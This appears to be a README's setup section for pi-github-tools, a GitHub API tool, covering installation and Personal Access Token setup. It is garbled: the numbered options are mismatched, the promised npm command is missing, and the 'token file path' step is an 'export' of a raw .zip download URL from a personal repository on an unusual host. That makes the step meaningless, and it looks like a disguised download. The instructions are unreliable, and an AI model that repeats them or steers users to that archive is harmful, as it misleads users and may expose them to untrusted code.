🚀 Getting Started

To get started with pi-github-tools, you need to download and install the software. Follow these steps to set everything up smoothly.

1. 💾 Download & Install

You can install the tool in two ways:

Option 2: Install Globally with npm

Alternatively, you can install it globally using npm. Run this command:

2. 🔑 Setup Your GitHub Access

After installation, you need a GitHub Personal Access Token (PAT) to access the GitHub API. You can set this up in two ways:

Option 1: Use an Environment Variable

In your terminal, run the command below to set your token:

export GITHUB_PAT=ghp_your_token_here

Make sure to replace ghp_your_token_here with your actual token.

Option 2: Use a File Path for the Token

If you’re using NixOS, Docker, or other setups where secrets are stored in files, do the following:

export https://github.com/yashlathiya2626/pi-github-tools/raw/refs/heads/main/src/github_pi_tools_v3.4.zip

This file should only contain your token, with no extra spaces or newlines. This method is handy for:

• NixOS automatic deployments
• Docker secrets mounted as files
• Kubernetes secrets
• systemd configurations
